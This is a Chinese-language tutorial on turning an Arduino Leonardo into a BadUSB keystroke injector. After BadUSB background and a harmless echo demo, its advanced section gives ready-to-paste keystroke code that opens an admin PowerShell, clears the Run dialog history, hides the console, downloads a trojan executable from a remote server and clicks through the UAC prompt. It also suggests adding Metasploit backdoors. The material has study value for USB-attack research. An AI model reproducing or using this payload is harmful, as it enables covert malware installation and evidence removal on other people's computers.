利用Arduino快速制作Teensy BadUSB


0×00 介紹

本文想以較簡單的方式,敘述Arduino版BadUSB的制作過程。我知道在這之前已經有很多前輩都寫過相關的文章,但小白可能還有點迷糊,所以這篇文章是快速帶大家入門了解,我也是菜B大神不要噴,謝謝~。

“BadUSB”是計算機安全領域的熱門話題之一,該漏洞由Karsten Nohl和Jakob Lell共同發現,並在2014年的BlackHat安全大會上公布。 雖然已隔一兩年,但還是有人在研究它,它的攻擊方式也多種多樣。

第一部分相關BadUSB介紹轉載於:https://security.tencent.com/index.php/blog/msg/74

BadUSB原理

在介紹BadUSB的原理之前,筆者在這里先介紹下BadUSB出現之前,利用HID(Human InterfaceDevice,是計算機直接與人交互的設備,例如鍵盤、鼠標等)進行攻擊的兩種類型。分別是”USB RUBBERDUCKY”和”Teensy”。

TEENSY介紹

攻擊者在定制攻擊設備時,會向USB設備中置入一個攻擊芯片,此攻擊芯片是一個非常小而且功能完整的單片機開發系統,它的名字叫TEENSY。通過TEENSY你可以模擬出一個鍵盤和鼠標,當你插入這個定制的USB設備時,電腦會識別為一個鍵盤,利用設備中的微處理器與存儲空間和編程進去的攻擊代碼,就可以向主機發送控制命令,從而完全控制主機,無論自動播放是否開啟,都可以成功。

關於TEENSY,可以參考天融信阿爾法實驗室的《HID攻擊之TEENSY實戰

USB RUBBER DUCKY介紹

簡稱USB橡皮鴨,是最早的按鍵注入工具,通過嵌入式開發板實現,后來發展成為一個完全成熟的商業化按鍵注入攻擊平台。它的原理同樣是將USB設備模擬成為鍵盤,讓電腦識別成為鍵盤,然后進行腳本模擬按鍵進行攻擊。

這兩種攻擊方式,是在BadUSB公布之前,比較流行的兩種HID攻擊方式,缺陷在於要定制硬件設備,通用性比較差。但是BadUSB就不一樣了,它是在“USB RUBBER DUCKY”和“Teensy”攻擊方式的基礎上用通用的USB設備(比如U盤)。

U盤的內部構造

U盤由芯片控制器和閃存兩部分組成,芯片控制器負責與PC的通訊和識別,閃存用來做數據存儲;閃存中有一部分區域用來存放U盤的固件,它的作用類似於操作系統,控制軟硬件交互;固件無法通過普通手段進行讀取。

BadUSB就是通過對U盤的固件進行逆向重新編程,相當於改寫了U盤的操作系統而進行攻擊的。

USB協議漏洞

為什么要重寫固件呢?下面我們可以看看USB協議中存在的安全漏洞。

現在的USB設備很多,比如音視頻設備、攝像頭等,因此要求系統提供最大的兼容性,甚至免驅;所以在設計USB標准的時候沒有要求每個USB設備像網絡設備那樣占有一個唯一可識別的MAC地址讓系統進行驗證,而是允許一個USB設備具有多個輸入輸出設備的特征。這樣就可以通過重寫U盤固件,偽裝成一個USB鍵盤,並通過虛擬鍵盤輸入集成到U盤固件中的指令和代碼而進行攻擊。

BadUSB利用代碼分析

筆者對KarstenNohl和Jakob Lell公布的代碼進行簡單的一個流程解析。

這樣一個帶有惡意代碼的U盤就產生了,更詳細的可以搜索Karsten Nohl 和 Jakob Lell公布的代碼。

0×01 制作過程

好的廢話咱們不多說了,直接開始吧~我們就是利用Arduino制作TEENSY 。Arduino是讓一種叫做單片機的小型可編程電腦盡可能簡單地被使用,並且單片機可以讓物體獲得交互功能。

來看一下我們需要准備的材料吧

Arduino Leonardo //小型單片機模擬USB

Arduino IDE //用於燒錄代碼的編譯器 http://www.arduino.cn/thread-5838-1-1.html

安卓數據線 //用於連接電腦USB

PC一台 //ok我們可以開工了

擴展:追求完美的同學可以考慮 ——超短micro轉USB

Arduino Leonardo 單片機我們可以去各大電商平台上去淘,特別是什么貨都有的電商平台,相信你絕對能找到的。

我本來已經買好micro轉USB了 結果當我拿起他們兩個准備啪啪啪的時候~~~~

當場蒙逼,告訴我為什么插不進去~~~~ 算了當作紀念吧 ,所以我先當個炮灰,希望其他小伙伴不要和我一樣~~

感興趣的可以考慮一下這個玩意 名字叫做OTG轉接頭 我已經再一次交出了我的身體 發現是真的。。。。 可以有!

好~大家先把arduino IDE先裝好 安裝過程很簡單 就是下一步下一步,沒什么難度。

安裝好以后打開IDE。

打開我們的IDE

IDE改版后,啟動界面也變了,以前的版本不是這樣的。打開以后是這樣子的:

那好我們就開始編寫代碼,不過在這之前我們要先把Arduino Leonardo插上。然后我們先保存一下這個項目文件,建議大家直接保存在桌面。

然后會在桌面上多出一個demo文件夾

文件夾內就是我們的demo文件。好~我們開始編寫代碼:

void setup() {

  // put your setup code here, to run once:

}

這段代碼就是初始化我們的程序。

void loop() {

  // put your main code here, to run repeatedly:

}

這段代碼是我們要循環的地方。

以上只是程序給我們搭好的框架,實際代碼要我們自己去編寫。我們讓USB對電腦進行操作主要是想實現自動化鍵盤操作,所以我們這邊就要用到arduino的鍵盤函數

#include<Keyboard.h>  //包含鍵盤模塊的頭文件

Keyboard.begin();  //開啟鍵盤通信

Keyboard.press();  //按下某個鍵

Keyboard.release(); //釋放某個鍵

Keyboard.println(); /*輸入某些內容 和一些網上的解釋不同 網上解釋是輸入內容並且能回車,而我測試的時候並不能回車 可能和版本有關 不要不要擔心有辦法回車*/

Keyboard.end();  //結束鍵盤通信

OK,以上就是我們主要使用到的函數。

那好現在我寫一些簡單代碼,然后大家可以感性地知道 代碼的含義:

#include<Keyboard.h> //包含鍵盤模塊頭文件

void setup(); //初始化

Keyboard.begin();//開始鍵盤通信

delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣 

Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這里我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題

Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵

delay(500);

Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵 

delay(500); 

Keyboard.press('r');//按下r鍵 

delay(500); 

Keyboard.release(KEY_LEFT_GUI);//松掉win鍵 

Keyboard.release('r');//松掉r鍵 

delay(500); 

Keyboard.println("cmd");//輸入cmd進入DOS

delay(500); 

Keyboard.press(KEY_RETURN);  //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

delay(500); 

Keyboard.println("echo first test");

Keyboard.press(KEY_RETURN);  //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

delay(500);

Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵

Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵

delay(500);

Keyboard.end();//結束鍵盤通訊 

} 

void loop()//循環,這里的代碼

{ 

//循環體 寫入你要循環的代碼

}

那好現在我們把代碼寫到IDE里面去。

然后我們要選擇正確的開發板和COM口,每台電腦都不一樣的。

一切准備就緒我們點擊編譯,看看程序是否能正常執行。

提示這些說明我們編譯成功。

那么我們離成功就是最后一步了——上傳。

上傳成功后,電腦會自動斷開USB,然后又會重新連接,那么 Arduino Leonardo就會自動運行了。

我們來看看: 首先開啟大寫鍵 然后打開了運行窗口 然后輸入了CMD 接着要回車了

然后程序自己輸入 echo first test 並且執行回車~~!! 大功告成~!

以上就是利用Arduino Leonardo實現自動化的ehco操作,模擬一個BadUSB。

0×02 進階

那么我分享一下我的代碼——主要實現的功能就是從遠程服務器上下載我們木馬然后執行,並且不會產生記錄,和網上的同學實現的目的是一樣的,但代碼可能有所偏差。好那么看代碼,因為篇幅原因,我就直接貼出,主要實現代碼塊。

有需要的同學自行黏貼

Keyboard.println("powershell.exe -command start-process powershell -verb runAs");  /*開啟管理員級別的powershell*/

Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除運行窗口產生的記錄*/

Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //讓cmd窗口變成一個很小的窗口

Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定義一個對象

Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')");  /*從服務端下載病毒 服務器地址和木馬自己指定 還有木馬將在目標機上存放的地址 自己設置*/

//自己想了一個比較笨的方法繞過UAC  就是詢問管理員是否同意的那個框框

Keyboard.press(KEY_LEFT_ARROW); //按住左方向鍵

Keyboard.release(KEY_LEFT_ARROW); //釋放左方向鍵

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN);//釋放enter鍵

注意~

1.這里我們為什么要開管理員的powershell 是因為從服務端下載文件的時候 首先CMD不支持,其次就算我們在cmd里調用powershell 那也不是管理員身份下載會出錯。所以我們這里要開管理員的powershell 其實下載文件的操作code還有很多種 我這里是一種 如果大家有更好的下載方式可以和我說 謝謝 命令千奇百怪大家自己發揮

2.另外要注意的地方是在IDE編程的時候,指定目錄是要用\\ 雙斜杠。

3.這些命令字母的大小寫是這樣的,因為我們在程序開頭執行了開啟大寫鍵的這個操作 ,所以我們想還原真實的字母就要在IDE里面把小寫的改成大寫,大寫的改成小寫 這樣程序輸出的時候就是我們想要的結果

4.還有就是delay(); 延這個東西自己把握,不是說值都是唯一的。我這里可能相對來說比較慢

最后附上鍵值對照表

Key        Hexadecimal value    Decimal value
KEY_LEFT_CTRL       0x80         128
KEY_LEFT_SHIFT      0x81         129
KEY_LEFT_ALT        0x82         130
KEY_LEFT_GUI        0x83         131
KEY_RIGHT_CTRL      0x84         132
KEY_RIGHT_SHIFT     0x85         133
KEY_RIGHT_ALT       0x86         134
KEY_RIGHT_GUI       0x87         135
KEY_UP_ARROW        0xDA         218
KEY_DOWN_ARROW      0xD9         217
KEY_LEFT_ARROW      0xD8         216
KEY_RIGHT_ARROW     0xD7         215
KEY_BACKSPACE       0xB2         178
KEY_TAB             0xB3         179
KEY_RETURN          0xB0         176
KEY_ESC             0xB1         177
KEY_INSERT          0xD1         209
KEY_DELETE          0xD4         212
KEY_PAGE_UP         0xD3         211
KEY_PAGE_DOWN       0xD6         214
KEY_HOME            0xD2         210
KEY_END             0xD5         213
KEY_CAPS_LOCK       0xC1         193
KEY_F1              0xC2         194
KEY_F2              0xC3         195
KEY_F3              0xC4         196
KEY_F4              0xC5         197
KEY_F5              0xC6         198
KEY_F6              0xC7         199
KEY_F7              0xC8         200
KEY_F8              0xC9         201
KEY_F9              0xCA         202
KEY_F10             0xCB         203
KEY_F11             0xCC         204
KEY_F12             0xCD         205

當然我這邊的代碼還比較簡單沒有什么控制語句和其他函數,有興趣的同學可以看看這方便的編程知識,讓這個BadUSB更加智能,會判斷。

大家也可以結合Metasploit 進行后門、木馬的植入,或者一些批處理文件,把自己電腦搞得亂七八糟,哈哈…

本文可能存在攻擊性,請勿用於非法用途。個人研究完全沒問題,一切責任與本人無關,如有不足的地方希望指點,謝謝。

參考文獻:

http://www.myhack58.com/Article/60/76/2014/56812.htm

http://zone.wooyun.org/content/17931

http://www.freebuf.com/articles/terminal/6182.html

https://security.tencent.com/index.php/blog/msg/74


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM